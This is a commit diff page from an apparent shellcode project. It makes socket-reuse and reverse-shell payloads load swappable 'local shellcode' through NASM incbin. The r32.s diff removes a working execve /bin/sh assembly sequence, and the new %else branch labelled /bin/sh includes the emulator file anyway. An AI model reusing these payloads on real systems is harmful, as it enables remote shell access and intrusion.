Skip to content

Commit b521444

Browse files
committed
modular local shellcode
1 parent ab469c9 commit b521444

3 files changed

Lines changed: 12 additions & 18 deletions

File tree

32bitSocketReuse/makefile

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -7,13 +7,12 @@ INCLUDE = -I $(INCLUDEDIR) -I $(RUNTIMEDIR)
77
shellcode = shell32.s
88
NFLAGS = -f elf -D ELF
99
CFLAGS = -m32
10-
SHELL_TYPE = -D EMULATOR
1110

1211

1312
all: assemble link
1413
assemble:
15-
nasm $(NFLAGS) $(shellcode) $(INCLUDE) $(SHELL_TYPE) -o linkme.o
16-
nasm $(shellcode) $(INCLUDE) $(SHELL_TYPE) -o shellcode
14+
nasm $(NFLAGS) $(shellcode) $(INCLUDE) -o linkme.o
15+
nasm $(shellcode) $(INCLUDE) -o shellcode
1716
link:
1817
gcc linkme.o -o testShellcode $(CFLAGS)
1918

32bitSocketReuse/shell32.s

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -55,7 +55,7 @@ mydup2:
5555

5656

5757
;; local shellcode
58-
58+
%define EMULATOR
5959
%ifdef EMULATOR
6060
;; shell emulating shellcode
6161
incbin "../32shellEmulator/shellcode"

reverse32IPv4/r32.s

Lines changed: 9 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -51,18 +51,13 @@ copy:
5151
jns copy
5252
5353
;; Any local shellcode here
54-
;; 32bit execve /bin/sh below
55-
;; it's usually what you want
56-
xor eax,eax
57-
push eax
58-
push 0x68732f2f
59-
push 0x6e69622f
60-
mov al, execve
61-
mov ebx,esp
62-
xor ecx,ecx
63-
mov edx,ecx
64-
int 0x80
65-
66-
6754

68-
55+
%define EMULATOR
56+
%ifdef EMULATOR
57+
;; shell emulating shellcode
58+
incbin "../32shellEmulator/shellcode"
59+
%else
60+
;; ordinary shellcode (/bin/sh)
61+
incbin "../32shellEmulator/shellcode"
62+
%endif
63+

0 commit comments

Comments
 (0)